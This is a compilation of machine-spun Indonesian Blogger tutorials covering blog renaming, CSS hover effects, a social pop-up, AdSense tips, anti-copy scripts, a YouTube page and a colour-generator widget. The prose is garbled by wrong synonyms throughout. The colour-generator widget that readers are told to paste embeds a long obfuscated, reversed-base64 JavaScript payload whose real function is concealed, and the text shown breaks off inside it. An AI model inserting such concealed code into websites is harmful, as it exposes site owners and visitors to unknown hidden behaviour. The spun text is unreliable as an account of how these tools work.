Mengganti Nama Judul Blog Dan Alamat Url Blog

Banyak argumentasi kenapa anda ingin mengganti nama blog yang dikala ini sudah dibuat. Bisa saja karena yaitu nama blog tersebut menurut anda tidak pas dengan konten dan postingan yang sudah diangkut atau tidak menawan bagi hadirin blog anda. Begitu juga dengan alamat URL dikala ini, sanggup tidak cocok dengan topik blog, sanggup karena yaitu kepanjangan atau mungkin terlihat berantakkan untuk dibaca oleh manusia. Untuk menangani hal tersebut, anda sanggup untuk tidak menghasilkan blog gres alias anda sanggup mengubah nama dan alamat URL blog kini menjadi gres dan sesuai dengan yang diinginkan.

Adapun cara ini cuma khusus buat anda para pengguna google blogger atau pengguna subdomain blogspot yang masih dalam proses menimba ilmu untuk mengenal tentang dunia blogging.

Cara Praktis Mengganti Nama Blog dan Alamat URL Blogspot :
1) Masuk ke akun blogger anda kemudian pilih blog yang ingin anda ubah
2) Klik Setting atau Setelan, pada belahan basic atau dasar
3) Pada form Title / Judul, ganti dan masukkan nama untuk mengganti judul blog gres kemudian klik Save change
4) Pada form Blog Address/ Alamat Blog, ganti dengan subdomain gres yang anda kehendaki kemudian klik Save

Praktis bukan? Sedikit kiat pastikan anda mengubah nama judul blog dan alamat URL blogspot tersebut sama agar keduanya terlihat saling berkolaborasi untuk mendukung satu sama lainnya. Semoga bermanfaat, Happy Blogging!

Sumber https://8tutorialandroid.blogspot.com/
Sumber https://henponterbaru.blogspot.com

Membuat 5 Dampak Hover Keren Pada Gambar Posting Blog

Siapa yang tidak mau blog pribadinya terlihat menawan dan keren di mata pembaca dan visitor blog. Tentu saja untuk mendandani blog biar lebih terlihat inovatif itu perlu menemukan wangsit dan mengenali dasar-dasar tentang syntax coding di dalam template blog. Adapun cara untuk menghasilkan blog terlihat keren bisa bermacam-macam. Mulai dari menggunakan animasi atau ide-ide inovatif lain yang dapat di implementasikan di dalam desain blog. Nah kali ini saya akan memfokuskan untuk menghasilkan efek pada gambar dan foto yang ada di dalam posting postingan dengan menggunakan efek transisi CSS3.

Sebelumnya saya pernah menghasilkan efek zoom dan efek bergoyang pada foto dan gambar postingan blog yang cukup sederhana dengan menggunakan CSS3. Saya pun sedikit punya waktu luang untuk menghasilkan 5 efek lain yang mungkin anda terpikat untuk menerapkannya. Efek pada gambar posting blog ini cuma akan melakukan pekerjaan apabila hadirin blog anda melakukan hover kepada foto atau gambar di dalam postingan blog. Dengan efek yang terlihat lembut dan inovatif menyebabkan kode CSS33 ini layak anda coba. Apa saja kelima kelima efek hover yang dapat menghasilkan bergerak-gerak pada gambar posting blog tersebut? silahkan lihat di halaman demo.

Lihat Demo

1) Efek opacity dan Border radius kanan atas
Efek opacity ialah salah satu favorit saya, dengan disertakan transisi pada border kanan atas menyebabkan efek yang pertama ini terlihat lembut dan santai.
2) Efek Hover Top dan Border radius kanan bawah
Gambar anda akan terangkat ke atas yang menghasilkan hadirin blog menemukan perhatian lebih ketika melakukn hover menggunakan efek ini
3) Efek Mengecil
Efek mengecil atau mungkin juga disebut efek fade out akan menghasilkan foto di dalam postingan blog terasa lebih keren.
4) Efek Melingkar
Bukan saja cuma melingkar, tapi efek ini juga menggunakan transisi CSS3 yang nantinya pada ketika hovering border berwarna putih akan timbul melingkari gambar di postingan blog anda.
5) Efek Rotasi dan Bayangan
Untuk efek yang satu ini sengaja dibentuk berotasi sekitar 45deg yang nantinya akan timbul shadow berwarna hitam. 

Cara Membuat Efek Hover Keren Pada Gambar Posting Blog :
1) Masuk ke dashboard blogger kemudian klik Template
2) Klik Back Up kemudian klik Edit Template
3) Cari tag epilog ]]></b:skin>
4) Pilih salah satu satu efek yang anda harapkan kemudian pastekan CSS di bawah ini sempurna di atas tag epilog ]]></b:skin> tersebut

Efek opacity dan Border radius kanan atas

 .post-body img{ border-radius: 2%; -webkit-transition: all 1s ease; -moz-transition: all 1s ease; -o-transition: all 1s ease; -ms-transition: all 1s ease; transition: all 1s ease; } .post-body img:hover{opacity:.8; border-top-right-radius:70px 20px; -webkit-border-top-right-radius:70px 20px; } 
 

Efek Hover Top dan Border radius kanan bawah

 .post-body img{ border-radius: 2%; -webkit-transition: all 1s ease; -moz-transition: all 1s ease; -o-transition: all 1s ease; -ms-transition: all 1s ease; transition: all 1s ease; } .post-body img:hover{ position:relative; top: -10px; border-bottom-right-radius:70px 20px; } 
 

Efek Mengecil

 .post-body img{ border-radius: 2%; -webkit-transition: all 1s ease; -moz-transition: all 1s ease; -o-transition: all 1s ease; -ms-transition: all 1s ease; transition: all 1s ease; } .post-body img:hover{ -webkit-transform: scale(0.4, 0.4); -moz-transform: scale(0.4, 0.4); -ms-transform: scale(0.4, 0.4); -o-transform: scale(0.4, 0.4); transform: scale(0.4, 0.4); } 
 

Efek Melingkar

 .post-body img{ border-radius: 2%; -webkit-transition: all 1s ease; -moz-transition: all 1s ease; -o-transition: all 1s ease; -ms-transition: all 1s ease; transition: all 1s ease; } .post-body img:hover{ border-radius:50%; border: 4px solid #ECECEC; -webkit-transition: all .3s ease; -moz-transition: all .3s ease; -o-transition: all .3s ease; -ms-transition: all .3s ease; transition: all .3s ease; } 
 

Efek Rotasi dan Bayangan

 .post-body img{ border-radius: 2%; -webkit-transition: all 1s ease; -moz-transition: all 1s ease; -o-transition: all 1s ease; -ms-transition: all 1s ease; transition: all 1s ease; } .post-body img:hover{  transition: all 2s ease-in-out; -webkit-transform:rotate(45deg); -moz-transform:rotate(45deg);  -ms-transform:rotate(45deg); -o-transform:rotate(45deg);  transform:rotate(45deg); z-index: 999; box-shadow: 8px -6px 5px rgba(50, 50, 50, 0.75); } 
 

4) Klik Simpan

Jika efek tersebut tidak bekerja, ditentukan bahwa selektor css di didalam template anda tersebut telah terkostumisasi. Untuk itu hapus selektor .post-body img:hover dan ganti dengan kode gres dari salah satu kelima efek tersebut. Selamat mencoba, Happy Coding!

Sumber https://8tutorialandroid.blogspot.com/
Sumber https://henponterbaru.blogspot.com

Membuat Pop Up Like Facebook Twitter Dan Google Plus Di Blog

Membuat Pop Up Like Facebook Twitter dan Google Plus Di Blog - Anda niscaya sering menyaksikan pop up yang terpasang di blog-blog entah di Google Blogger maupun di blog Wordpress. Tujuannya yakni untuk mengiklankan fans page facebook dari blog tersebut mudah-mudahan banyak yang mengikuti yang otomatis akan menciptakan trafik setiap kali anda memperbaharui artikel. Dan biasanya, jenis pop up widget tersebut cuma memperlihatkan like box facebook. Lalu bagaimana jikalau pop up tersebut di tambahi tombol twitter follow atau google plus follow?

Hey Pop Up merupakan yakni widget yang mengambil desain bergaya flat, yang hendak memperlihatkan 3 tombol media jejaring sosial yakni untuk facebook, twitter dan google plus. Widget pop up ini aku tambahkan dampak atau animasi CSS3 sehingga pada saat hadirin blog tiba ke landing page maka pop up inipun akan timbul dari atas ke bawah. Cara kerja dari widget ini cuma akan tampil pada browser yang dibuka di desktop/PC dan tablet tapi tidak akan ditampilkan pada pembaca blog yang menggunakan ponsel pandai atau ponsel, widget pop up follow twitter, google plus dan facebook like ini akan timbul pada tiap posting. Tidak ada tombol close dalam widget ini alasannya merupakan yakni merupakan saat hadirin menjalankan klik diluar pop up ini, maka akan tertutup.

Lihat Demo

Cara Membuat Pop Up Like Facebook Twitter dan Google Plus Di Blogger :
1) Masuk ke pengaturan Tata Letak Blog Anda kemudian klik Tambah Gadget
2) Pilih kemudian klik HTML/Javascript
3) Masukkan semua aba-aba dibawah kedalam widget tersebut kemudian klik simpan

 <style> @media screen and (max-width:600px){#HrPv1,#HrPv{display:none!important}}#HrPv1{background:#4a708b;width:100%;height:100%;position:fixed;top:0;left:0;z-index:99999;opacity:.5}#HrPv{top:0;left:0;background-color:#f5f5f6;border-radius:5%;width:340px;height:260px;border:3px solid #da244f;box-shadow:0 0 10px 0 rgba(0,0,0,0.3);z-index:99999;bottom:0;right:0;position:fixed;margin:20% auto;animation-name:HrPvDo;-webkit-animation-name:HrPvDo;animation-duration:3s;-webkit-animation-duration:3s;animation-timing-function:easeIn;-webkit-animation-timing-function:ease;visibility:visible!important}@keyframes HrPvDo{0%{transform:translateY(-100%)}50%{transform:translateY(8%)}65%{transform:translateY(-4%)}80%{transform:translateY(4%)}95%{transform:translateY(-2%)}100%{transform:translateY(0%)}}@-webkit-keyframes HrPvDo{0%{-webkit-transform:translateY(-100%)}50%{-webkit-transform:translateY(8%)}65%{-webkit-transform:translateY(-4%)}80%{-webkit-transform:translateY(4%)}95%{-webkit-transform:translateY(-2%)}100%{-webkit-transform:translateY(0%)}}#HrPv p{background:none repeat scroll 0 0 #da244f;font-size:1.3em;font-weight:bold;border-width:medium medium 3px;border-style:none none solid;border-color:-moz-use-text-color -moz-use-text-color #b5002a;-moz-border-top-colors:none;-moz-border-right-colors:none;-moz-border-bottom-colors:none;-moz-border-left-colors:none;border-image:none;padding:5px;color:#FFF;border-radius:3px;text-align:center}#HrPv .somedi{width:95%;background:#eee5de;margin:0 auto;border-radius:5px;padding:1px;line-height:24px;box-shadow:0 1px 2px #CCC inset} </style> <div id="HrPv1"></div> <div id="HrPv"> <p>Mau dapet update modern atau eksklusif mengajukan pertanyaan tentang Tutorial kami?</p> <div class="somedi"> <iframe allowtransparency='true' frameborder='0' scrolling='no' src='//www.facebook.com/plugins/likebox.php?href=https://www.facebook.com/heyriadcom&colorscheme=light&show_faces=false&show_border=false&stream=false&header=false' style='border: none; overflow: hidden;width:200px;height:60px '></iframe> <a style='height:60px' href="https://twitter.com/TeacHowTo" class="twitter-follow-button" data-dnt="true">​</a> <script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");</script> <!-- Place this tag where you want the widget to render. --> <div class="g-follow" data-annotation="bubble" data-height="20" data-href="//plus.google.com/u/0/103761472882130515155" data-rel="publisher"></div> <!-- Place this tag after the last widget tag. --> <script type="text/javascript"> (function() { var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true; po.src = 'https://apis.google.com/js/platform.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s); })(); </script> </div></div> <script type="text/javascript"> $(document).ready(function(){ $("#HrPv1").click(function(){ $(this).fadeOut(); $("#HrPv").fadeOut(); }); }); </script> 
 

Sekarang coba anda buka salah satu kiriman yang ada di blog anda, maka widget pop up like facebook, follow twitter dan google Plus inipun akan siap melakukan pekerjaan untuk mengiklankan blog anda di media jejaring sosial tersebut.

Sumber https://8tutorialandroid.blogspot.com/
Sumber https://henponterbaru.blogspot.com

Blog Ditolak Google Adsense? Coba Kiat Dan Jurus Jitu Ini

Saya percaya ada terlalu banyak teknik dan pengalaman pribadi yang sudah di share oleh para blogger tentang topik dari kiriman ini, tujuan mereka satu merupakan untuk menolong blogger lain biar bisa di terima selaku publisher google adsense. Sama seumpama halnya dengan postingan ini, untuk menyemangati, jangan berhenti untuk menulis dan tetap konsentrasi ke niche blog anda.

Dan pada kiriman ini saya cuma ingin menyampaikan saran, kiat atau masukan untuk anda yang terus menerus ditolak oleh google adsense mungkin sudah belasan kali maupun puluhan kali tetapi kesudahannya tetap mendapat akibat surel yang serupa dan mengenaskan yaitu ditolak!. Teman-teman blogger sekalian, Saya pun mencicipi suasana seumpama ini, ditolak 1 kali! Lalu apa yang salah?

1) Siapa Anda Di Mata Google
Gunakan data diri sesuai dengan keterangan asli, baik itu di profil google plus, profil google blogger, maupun semua hal yang berhubungan dengan produk dan layanannya. Google itu tidak akan lelah, mereka akan mencari tahu siapa anda. Sederhana saja, tukang jajanan mana yang akan memerintahkan menjualkan keu dagangangnya ke orang yang tidak terperinci asal usulnya?

2) Klaim Bahwa Blog Tersebut Benar-Benar Milik Anda
Lakukan verifikasi di Google webmaster tool atau Bing webmaster tool bahwa anda merupakan pemilik sah menurut data-data orisinil dari kiat no 1.

3) Buat Halaman About Us/ About Me
Jelaskan terhadap pembaca atau hadirin blog, anda ini menampung konten wacana topik apa, dibentuk untuk apa dan dibentuk untuk siapa.

4) Halaman Contact Us
Buat halaman kontak dengan menambahkan alamat email yang serupa di saat mendaftarkan diri ke Google Adsense. Anda mesti mempertanggung jawabkan atas semua konten yang anda muat di blog anda, jikalau ada yang keberatan dengan isi postingan anda, mereka akan simpel untuk mengontak anda.

5) Halaman Privacy Policy
Blog anda saban hari menghimpun informasi, melacak siapa saja, dari mana saja, memakai browser apa saja, memakai perangkat apa saja hadirin yang tiba ke blog anda. Ingat, tidak semua orang mau dilacak. Agar mereka tidak menuntut blog anda, maka buatlah halaman ini untuk mengikuti peraturan legal blog anda. Secara langsung, akan melindungi iklan Google Adsense yang nantinya ada diblog anda.

6) Halaman Disclaimer
Halaman ini berencana untuk melindungi anda dari pernyataan-pernyataan wacana apa yang sudah anda tulis, konten yang anda tampilkan dan muat di dalam blog khususnya didalam tabrakan pena postingan anda.

7) Konten anda
Usahakan anda sudah memiliki postingan minimal 65 post tentunya posting anda tersebut bukan wacana topik, ide, hasil observasi yang sudah di tulis oleh blogger lain dan banyak timbul di google search dan bukan hasil copas. Lalu periksa satu persatu mulai dari gambar milik siapa (jangan pelit dan segan untuk memperlihatkan link atau sumber gambar) link menuju ke situs apa (hapus link yang menuju ke situs yang berbau perjudian, situs yang tidak sopan, situs yang mengajarkan peretasan, atau situs yang tak punya halaman kontak dan privacy policy) kemudian hapus kata-kata yang terus diulang-ulang didalam postingan blog anda.

8) Design Blog
Saya sungguh mengerti anda tidak akan mau untuk mengubah Template yang di sekarang ini digunakan bisa saja lantaran alasannya desain di sekarang ini keren, sarat dengan animasi, berwarna-warni bagaikn pelangi ataupun argumentasi lainnya. Tetapi semua keputusannya ada ditangan anda. Gunakan design template yang bersih, navigasi yang rapi, responsive, SEO friendly (katanya), tidak memperlihatkan banyak widget yang tak punya kegunaan dan tidak memperlihatkan banyak warna. Agar anda profesional dan beretika jangan pernah mengubah atau meniadakan kredit link pembuat template tanpa ijin.

9) Sumber Trafik Organik Dari 3 Mesin Pencari Raksasa (Google Search/ Bing Search/ Yahoo! Search)
Perhatikan secara seksama ada berapa puluh/ratus ribu query Google Search/ Bing Search/ Yahoo! Search memperlihatkan blog anda di hasil pencarian, ada berapa ratus/ribu hadirin unik yang setiap harinya melakukan klik dan membaca postingan anda. Lihat laporan harian di google analytic biar data-data yang didapat lebih akurat.

10) Sumber Trafik Dari Media Jejaring Social
Saya tidak kesengsem mempelajari SEO tetapi hal kecil yang dapat saya share merupakan Google Adsense tidak menggemari trafik yang tiba dari media jejaring sosial! Ketika anda sudah memasukkan code adsense ke dalam widget blog dan tim GA sedang melakukan review, jangan datangakan banyak trafik dari facebook, twitter maupun media social lainnya.

11) Kecepatan Blog Dari Setiap halaman postingan atau Landing Page
Perhatikan dan jalankan penelitian terhadap kecepatan blog anda dengan memakai google PageSpeed Insights  atau layanan lain yang menurut anda lebih cocok. Ikuti dan jalankan semua nasehat yang mesti diperbaiki. Fokuskan biar hasil dari testing speed tersebut berwarna hijau.

Itulah kiat dan nasehat yang dapat anda kerjakan kenapa blog atau anda di tolak selaku publisher google adsense. Dan jikalau semua kiat diatas sudah dilakukan, coba untuk mendaftar ulang dan kembali lagi kesini untuk share apa kesudahannya sehabis anda melakukan hal tersebut, full approve atau kembali mendapat penolakan kah dari google adsense. Selamat menjajal dan mudah-mudahan membantu.

Sumber https://8tutorialandroid.blogspot.com/
Sumber https://henponterbaru.blogspot.com

3 Cara Efektif Mudah-Mudahan Blog Tidak Sanggup Di Copy Paste

Saya sungguh percaya topik dan bimbingan biar blog tidak sanggup dicopas sudah banyak dipublikasikan dan dibahas. Namun dari cara-cara tersebut, akan ada perbedaan manakah teknik terbaik untuk dipraktekkan di blog anda maksudnya tidak lain untuk melindungi biar postingan yang sudah anda tulis lewat proses trial and error tidak di publikasikan ulang tanpa seijin anda. Saya sendiri mulanya tidak begitu peduli dengan hal ini, tetapi seiring banyaknya orang iseng melaksanakan copy paste tanpa edit dan tanpa ijin menciptakan saya mesti melakukannya. Bayangkan 3 dari 4 blog yang saya kerjakan postingan dan isinya banyak di copas dan di klaim. Yang saya rasakan adalah sakit hati. Bukankah seorang BLOGGER PROFESIONAL itu "Mencari kawan, mencari ide, meneliti, menghasilkan, menyimpulkan, menuliskan dan mempublikasikan?" bukan "COPAS dan menyakiti perasaan orang lain".

Demo I

Demo II

Dari sana saya meneliti bagaimana biar isi postingan atau blog tidak sanggup di salin dan akhirnya saya menerima 3 teknik yang efektif untuk menciptakan orang iseng tak beretika makin mencampakkan waktu mereka untuk berbuat kejahatan.

Teknik I. Cara Agar Blog Tidak Bisa Di Klik Kanan Dengan jQuery
Teknik pertama adalah dengan menggunakan jQuery/JS. Yang akan saya terapkan adalah biar blog atau postingan postingan anda tidak tidak sanggup di Ctrl+A Ctr+C dan tidak sanggup di klik kanan. Caranya :
1) Masuk ke dashboard blog anda klik Template kemudian kerjakan back up
2) Klik Edit template kemudian cari jQuery didalam syntax template blog anda seolah-olah ini

 <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"> 
 

3) Letakkan aba-aba dibawah ini sempurna dibawah jQuery tersebut

 </script> <script type="text/javascript"> $(document).ready(function(){$(document).bind("contextmenu",function(a){a.preventDefault()})});function keypressed(){return false}document.onkeydown=keypressed; </script> 
 

4) Klik Simpan
Sampai teknik pertama ini, blog anda tidak sanggup di copy karena sudah melaksanakan disable right-click dan disable Key. Belum simpulan karena postingan anda masih sanggup di blok dengan melaksanakan seleksi manual lewat mouse. Untuk itu anda perlu teknik selanjutnya.

Teknik II. Cara Agar Blog Tidak Bisa Diseleksi/Diblok Dengan Menggunakan CSS
Teknik kedua ini dengan menggunakan CSS yang mesti melakukan pekerjaan di semua browser. Baik itu di browser engine webkit, moz maupun peramban yang lainnya. Caranya :
1) Masuk ke Edit Template
a) Cari selector body kemudian tambahkan tiap properties yang ada didalam kolom syntax dibawah ke dalam selector body tersebut
b) Atau eksklusif saja tempatkan css syntax dibawah sempurna diatas ]]></b:skin>

 body{ user-select: none; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; -khtml-user-select: none; } 
 

2) Klik simpan
Sekarang blog anda tidak sanggup di klik kanan atau diblok baik itu dengan menggunakan Ctrl+A Ctr+C maupun dengan seleksi mouse. Jangan bahagia dahulu karena blog anda masih sanggup di salin lewat blog feed! Dan kedua teknik ini akan tidak bermanfaat bila anda tidak menertibkan feed blog tersebut. Itulah argumentasi kenapa banyak blogger yang masih mengeluh karna blognya di copas walaupun mereka sudah memasang script untuk disabling right-clik.

Teknik III. Cara Agar Feed Blog Tidak Bisa Di COPAS
1) Masuk ke pengaturan/settings blog anda kemudian klik Lainnya/Others
2) Pada penggalan Site Feed, pilih Allow Blog Feed kemudian ubah menjadi Until Jump Break

Dengan menertibkan teknik ke III ini, kita akan memaksa tukang copas untuk membuka dan membaca postingan full dari feed tersebut ke halaman blog dan akhirnya mereka akan menghadapi teknik I dan II.

Itulah cara melindungi postingan atau posting blog biar tidak sanggup di copy paste. Jika masih risau atau anda punya cara dan teknik lain silahkan berkomentar. Happy coding!

Sumber https://8tutorialandroid.blogspot.com/
Sumber https://henponterbaru.blogspot.com

Cara Menghasilkan Youtube Tv Di Blogger

Cara menghasilkan youtube TV Di Blogger. Setelah sebelumnya anda memasang daftar video dari jalan masuk youtube di widget sidebar blog kemudian merubah penampilan video youtube yang keren dan inovatif di dalam postingan blog, maka kali ini saya akan coba untuk menyodorkan cara menghasilkan halaman khusus di blogger yang mau secara otomatis memperlihatkan video-video yang sudah di unggah dari jalan masuk atau channel youtube anda dengan menggunakan jquery YouTube TV yang dikembangkan oleh Jacob Kelley. YouTube TV ini bisa memperlihatkan video dengan penampilan yang terlihat professional dan keren. Keuntungan dengan menghasilkan halaman khusus video youtube ini akan membuat lebih mudah bagi para hadirin dan pembaca setia blog anda untuk menyaksikan daftar video youtube yang sudah anda upload kemudian menontonnya pribadi di blogspot anda.

Lihat Demo

Cara Memasang dan Membuat YouTube TV Di Blog :
1) Log in ke blogger anda kemudian buat suatu halaman/page gres dengan mode HTML kemudian publikasikan dan salin URL dari halaman tersebut

2) Klik Template kemudian jalankan back up kemudian klik Edit Template
3) Cari tag pembuka <b:skin><![CDATA[/* kemudian salin dan pastekan css dibawah ini sempurna di atasnya

 <link href='http://jakiestfu.github.io/Youtube-TV/src/ytv.css' rel='stylesheet' type='text/css'/> <link href='http://jakiestfu.github.io/Youtube-TV/demos/assets/demo.css' rel='stylesheet' type='text/css'/> 
 

4) Cari tag epilog ]]></b:skin> kemudian salin dan pastekan jQuery YouTUbe-TV dibawah ini sempurna di bawah jQuery utama

 <script src='http://jakiestfu.github.io/Youtube-TV/src/ytv.js' type='text/javascript'/> 
 

5) Cari tag pembuka <body> atau <body kemudian salin dan pastekan tag kondisional dibawah ini sempurna di bawahnya

 <b:if cond='data:blog.url != &quot;Masukkan-URL-Halaman-dari-langkah-1-kesini&quot;'> 
 

6) Cari tag epilog <body> kemudian salin dan pastekan epilog tag kondisional ini sempurna di atasnya

 <b:else/> <style type='text/css'> #ytvbHR{ top:0; right:0; bottom:0; left:0; z-index:99999; background: radial-gradient(ellipse at center,#1abc9c 0%,#16a085 75%); } </style> <div id='ytvbHR'> <div id='frame'/> <script type='text/javascript'> window.onload = function(){ window.controller = new YTV('frame', { user: 'TeachHowTV', accent: '#FF8C00', autoplay: false, controls: true, fullscreen: true }); }; </script></div> </b:if> 
 

Ganti TeachHowTV dengan nama channel atau jalan masuk youtube anda. Jika belum mengetahuinya, silahkan baca
Cara mengganti URL Profil Yotube

7) Klik Simpan Template

Sekarang coba anda buka halaman atau page yang sudah dibentuk pada langkah 1 maka halaman tersebut akan memperlihatkan daftar video dari channel youtube anda dan bisa pribadi di tonton. Itulah cara menghasilkan YouTube TV di blogger yang secara otomatis akan memperlihatkan video yang sudah di upload maupun yang akan di upload dan ditampilkan pada halaman bloh YouTube TV Tersebut. Happy Coding!

Kudos : Jacob Kelley YouTube TV

Sumber https://8tutorialandroid.blogspot.com/
Sumber https://henponterbaru.blogspot.com

Membuat Widget Color Code Generator Sendiri Di Blog

Membuat dan Memasang Widget Color Generator Keren Di Blog. Biasanya para blogger yang kesengsem dan sedang mempelajari web design memiliki blog favorit selaku referensi menuntut ilmu design, coding ataupun menemukan berita referensi gres tentang teknologi dan pembaharuan dalam dunia web design. Pada blog site yang memiliki niche tersebut mereka memiliki halaman khusus tools coding maksudnya untuk memfasilitasi para pembaca setianya biar memudahkan baik pada proses penerangan postingan maupun dalam proses prakteknya. Bukan hal yang "WOW" juga bahwasannya generator arahan warna niscaya senantiasa ada pada blog-blog tersebut. Lalu bagaimana cara menghasilkan Color Code Generator pada widget blogspot? dan bukan pada halaman khusus tool?

Lihat Demo

Sikabayan Color Generator adalah suatu widget yang di desain dan coding khusus buat anda para blogger pemula mirip aku yang menggunakan layanan dari Google Blogger. Widget ini berfungsi untuk menemukan arahan warna hex dan rgba dengan simpel secara langsung dari interface blog anda. Keuntungannya, selain akan menghasilkan blog anda terlihat lebih kreatif, widget ini juga akan memudahkan bagi para hadirin untuk menemukan color code favoritnya. Dan tidak menutup kemungkinan, mereka akan senantiasa menggunakan color generator ini di blog anda sehingga akan terus bolak-balik tanpa letih ke blog anda.

Cara Membuat Color Code Generator Widget Di Sidebar Blogspo :
1) Masuk ke dashboard blogger anda kemudian klik tata letak
2) Klik Tambah Gadget kemudian pilih HTML/JavaScript
3) Copy dan Pastekan arahan dibawah ini kedalam widget tersebut

 <style type="text/css"> #ClrGnrK{font:12px Verdana;width:200px;margin:20px auto;padding:5px;color:#fff;background-color:#20b2aa;text-align:center;border:.1875rem solid #fdfdfd;border-radius:.5rem}#ClrGnrK span{display:block;padding:1px}#ClrGnrK #jDlKrD{font-size:13px;background:#089ba0;color:#fff;margin:0 auto 5px auto;border-radius:3%;padding:3px;border:1px solid #fdfdfd}#ClrGnrK hr{background-color:#fdfdfd;border:0 none;height:.125rem;margin-top:.25rem;width:8.375rem}#ClrGnrK #LyRcLr{border:.1875rem solid #fdfdfd;border-radius:5%;height:8.125rem;margin:0 auto;width:85%;background:#3e5cbb} </style> <div id="ClrGnrK">     <div style="background-color: tansparent;" id="LyRcLr"></div>     <hr />     <span id="jDlKrD">Sikabayan Color Generator</span> <span id="hex">#3E5CBB</span>     <span id="rgb">rgb(62,92,187);</span> <span id="red"><input type="range" min="0" max=     "255" step="1" value="65" /></span> <span id="green"><input type="range" min="0" max=     "255" step="1" value="155" /></span> <script language="javascript" type="text/javascript">var IO0='=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